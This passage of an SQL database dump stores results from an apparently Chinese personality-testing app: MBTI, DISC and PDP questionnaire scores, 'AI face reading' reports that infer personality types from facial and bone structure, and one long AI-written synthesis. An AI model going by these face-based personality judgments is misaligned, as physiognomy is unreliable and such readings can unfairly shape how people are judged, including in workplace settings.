[\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨骼端正不张扬,骨肉均衡,属稳健谋略型,更重长线布局与结构把控。\", \"faceAnalysis\": \"额头饱满开阔,双眼内敛专注,鼻准端正,嘴形收敛有度,整体气质理性稳重、主思考少外露情绪。\", \"personalitySummary\": \"内向理性,重逻辑与秩序,行事低调却目标清晰,决策慎重且坚持原则,偏策略与分析型性格。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780350, 1772780350, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (76, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉稳内敛,思维细致周全,善于洞察人心与趋势,适合做策略规划与决策参谋型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面廓偏圆中带方,下颌收束有力,骨感不突但有支撑感,属土水兼具之相,稳健中含灵动与包容。\", \"faceAnalysis\": \"额头饱满圆润,眉目温和含笑,眼神内敛而专注,整体给人理性稳重、亲和可信赖的印象。\", \"personalitySummary\": \"重视内在价值与长期意义,行事谨慎有原则,待人温和却坚持立场,擅长系统思考与整合信息。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780684, 1772780684, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (77, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性温和、内敛专注,善于观察与思考,重视深度与原则,适合专业型与策划型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感略显、线条清瘦,颧骨内敛不外突,下颌柔和略尖,属思考型与感知型骨相,以智慧与洞察见长。\", \"faceAnalysis\": \"额头饱满顺势,眼神沉静带思考,鼻梁细直,嘴唇柔和偏薄,整体五官清秀带理性气质。\", \"personalitySummary\": \"性格安静理性,重视独立空间与思考深度,做事谨慎有条理,对他人体察细腻但不张扬,擅长在幕后规划与支撑全局。\"}', NULL, NULL, 1, 0, 101, NULL, 1772781830, 1772781830, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (78, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且具洞察力,内敛中带坚持,适合深度思考与稳健推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部线条偏细长,骨感略显,骨肉关系骨重肉薄,五官集中,呈内敛专注型格局,擅长细致思考与长期坚持。\", \"faceAnalysis\": \"额头较高,眉眼柔和内敛,鼻梁清秀,嘴唇偏薄收敛,下巴略尖,整体给人理智温和、思虑周全的印象。\", \"personalitySummary\": \"性格安静专注,情绪稳定,重视原则与边界。做事有计划,追求质量与深度,人际相对克制但真诚可靠。\"}', NULL, 77, 1, 0, 101, NULL, 1772782874, 1772783583, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (79, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 1, 0, 101, NULL, 1773036842, 1773036842, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (80, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037039, 1773037039, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (81, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037702, 1773037702, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (82, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038120, 1773038120, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (83, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038934, 1773038934, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (84, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T06:51:16.469Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 11, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773039076, 1773039076, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (85, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 20, \"Chameleon\": 0}, \"answers\": {\"1\": \"Peacock\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T07:09:22.827Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 100, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 18, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773040162, 1773040162, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (86, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773042949, 1773042949, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (87, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:12:52.575Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 17, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773043972, 1773043972, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (88, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:21:35.366Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773044495, 1773044495, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (89, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-09T09:04:40.997Z\", \"confidence\": 100, \"completedAt\": \"2026-03-09T09:04:40.997Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 30, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773047081, 1773047081, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (90, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 3, \"Peacock\": 17, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T09:05:34.273Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 15, \"Peacock\": 85, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 16, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047134, 1773047134, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (91, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047182, 1773047182, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (92, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047511, 1773047511, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (93, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109282, 1773109282, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (94, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109761, 1773109761, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (95, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健,善于规划与分析,做事有节奏,抗压与持续力强,适合深度思考与系统搭建型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg\"], \"boneAnalysis\": \"额区骨势平正,中上停过渡顺畅,骨肉均衡偏稳健型,属土金气质,重视现实与长期稳步推进。\", \"faceAnalysis\": \"额头饱满略宽,眼神沉稳有聚焦力,眉眼距离适中,整体给人理性内敛、思路清晰的印象。\", \"personalitySummary\": \"性格内敛理智,重视逻辑与结构,做事有计划感与原则边界,偏结果导向,不喜情绪化,人际上选择性投入,信任后稳定可靠。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773127193, 1773127193, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (96, 1, 'resume', '{\"content\": \"综合分析生成失败,请稍后重试。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129576, 1773129576, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (97, 1, 'resume', '{\"content\": \"下面这几份测评结果之间存在明显冲突(AI 面相:INTJ+D/C、问卷:ESTJ、PDP:孔雀85%+老虎15%、DISC:I 型100%),说明: \\n- 一部分结果偏“内向、理性、规划型”(INTJ / D+C); \\n- 另一部分则是典型“外向、表现、社交型”(ESTJ / 孔雀 / I 型)。 \\n\\n要得出“真实性格画像”,需要**假定真实人是一个:外向、偏理性、行动导向,兼具表达欲与管理意识的人**。下面是基于测评交叉验证 + 典型画像的综合结论(简历细节看不到,只能弱化对具体行业/岗位的判断,也会提示哪些点需要你自己对照验证)。\\n\\n---\\n\\n## 一、核心性格关键词(归纳后的人格底色)\\n\\n- 外向表达:强社交驱动力,喜欢说、敢表达、在群体中有存在感。 \\n- 现实务实:关注“现在怎么做”“事情如何落地”,不沉迷空想。 \\n- 结果导向:重视目标、绩效和可见成果,有一定“赢”的欲望。 \\n- 逻辑清晰:结构化思考,能把事情拆解、排序、制定步骤。 \\n- 主动掌控:偏喜欢主导、组织、发起,而不是被动跟随。 \\n- 情绪乐观:基调偏阳光,抗挫后容易自我鼓励再冲一次。 \\n- 自我要求高:对自己在他人眼中的表现和成就感有强需求。\\n\\nAI 面相给出的 “INTJ / 老虎+猫头鹰 / D+C” 更像你在“独立思考、冷静决策”时的理性内核;问卷测评 “ESTJ / 孔雀 / I 型” 更像你在“工作场景+社交场景”中的对外表现。整体呈现为:**外向型管理者 + 理性分析底色**。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 性格底色与潜在特质(结合生日倾向 + INTJ/ESTJ 混合特征)\\n\\n在不做玄学的前提下,生日只作为“人生阶段”判断: \\n- 若目前在 25–35 岁:通常是**从“表现者”向“管理者”过渡期**,会从单纯爱表现、爱说服,转向更重视结果与权威; \\n- 若在 30+:更容易体现出“控制局面、规划全盘”的一面。\\n\\n结合 INTJ(规划+逻辑)与 ESTJ(执行+管理)两种画像,你的**本质并不是真·情绪型社交咖,而是一个有计划、讲逻辑的人,只是社交和表达能力也很强**。 \\n\\n潜在特质包括: \\n- 有“我要做出点成绩”的强内驱; \\n- 对“组织、规则、流程”有天然敏感; \\n- 面子与他人评价对你重要,会驱动你多做、多争取舞台; \\n- 内心并不完全随性,喜欢自己心里有一张“路线图”。\\n\\n### 2. 真实行为风格(结合工作经历推断)\\n\\n虽然没看到具体简历内容,只能按常见轨迹做逻辑推演,需要你自己对照:\\n\\n**若你的工作经历包含:销售、商务、市场、项目协调、管理岗:** \\n- 高度符合“ESTJ + 孔雀 + I 型”: \\n - 乐于外出、谈判、主持会议、做方案汇报; \\n - 在团队中易演变成“说话多、推动力强”的那个人; \\n - 对流程、进度节点、业绩数字敏感,催进度、要结果不含糊。 \\n\\n**若你的经历更偏:运营管理、项目管理、团队负责人:** \\n- 说明你的“控制+规划”部分已经被激活: \\n - 能把复杂任务拆分成步骤,安排到人,跟踪落地; \\n - 在出现问题时,先分析逻辑和责任,再考虑情感安抚; \\n - 会用数据、事实说话,而不是仅靠情绪鼓舞。 \\n\\n整体行为模式可概括为: \\n> “先把人带动起来 → 再用结构和规则把事情落地 → 完成目标后又希望得到认可和掌声。”\\n\\n### 3. 抗压能力与做事习惯\\n\\n- **抗压能力** \\n - 对“短期高压、快节奏、强目标”的环境适应度高(如季度冲刺、项目节点)。 \\n - 在“持续模糊、长期看不到结果”的环境中会烦躁,容易质疑方向或改变路径。 \\n\\n- **做事习惯** \\n - 偏爱“有清晰目标+时间节点”,喜欢列计划、做表格、做排期。 \\n - 执行上快,愿意边干边调整,不喜拖延。 \\n - 对细节能做到“80 分认真”,但在极端细腻、重复性细活上容易浮躁。 \\n\\n- **人际模式** \\n - 在团队中倾向于做“气场较强的核心人物”:要么是领头羊,要么是关键 KOL。 \\n - 习惯用“讲道理+讲结果”方式沟通,可能略显直接。 \\n - 对“低效、拖延、不负责”的人容忍度低,容易在语气上带出不耐烦。 \\n\\n这部分与 D 型(主导)、I 型(影响)、老虎(行动)、孔雀(表现)高度吻合。\\n\\n---\\n\\n## 三、测评交叉验证:去伪存真的人格画像\\n\\n### 1. MBTI 冲突的校正\\n\\n- 面相:INTJ(内向+理性+规划) \\n- 问卷:ESTJ(外向+理性+执行) \\n\\n结合 PDP / DISC 的高孔雀、高 I 型,**你的现实工作中更接近 ESTJ:外向、现实、讲规则、强调结果**。 \\nINTJ 的成分可能体现在: \\n- 你比典型“社牛”多一点**独立思考和逻辑规划**; \\n- 在做关键决策时,你倾向先自己冷静想一圈,再去说服别人,而不是一味随大家; \\n- 有一定“看不惯低效率”的完美主义倾向。\\n\\n结论: \\n> MBTI 上更接近:E–S–T–J,带一点 N(规划、抽象思考)的影子,远离 F(过度感性)。\\n\\n### 2. PDP:孔雀 85% + 老虎 15%\\n\\n- 孔雀:表现、影响力、情绪感染。 \\n- 老虎:目标、控制、竞争。 \\n\\n你看起来不是“单纯爱玩爱聊”的孔雀,而是“带野心、带结果意识的孔雀”。 \\n- 在需要舞台感、演讲、主持、推动氛围的场景,你会很自然地站出来; \\n- 一旦涉及利益、成绩、晋升,会明显激活“老虎”那一面:更强势、更坚持原则。 \\n\\n### 3. DISC:I 型 100%,第二为 D\\n\\n- I:影响力、社交、情绪感染; \\n- D:主导、决断、冲劲。 \\n\\n结合 ESTJ 与老虎成分: \\n- 真实状态更像 **“ID 型”**:既要人、也要事。 \\n- 对领导、客户:会用热情和结果说话; \\n- 对下属/同事:既能“带节奏”,也会因为过于直接而不自觉给压力。\\n\\n---\\n\\n## 四、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- 典型“说-干一体型”:喜欢边讨论边拍板,拍板后立即推进; \\n- 决策方式:偏“快速+信息足够即可”,不是追求完美信息,而是“先做再优化”; \\n- 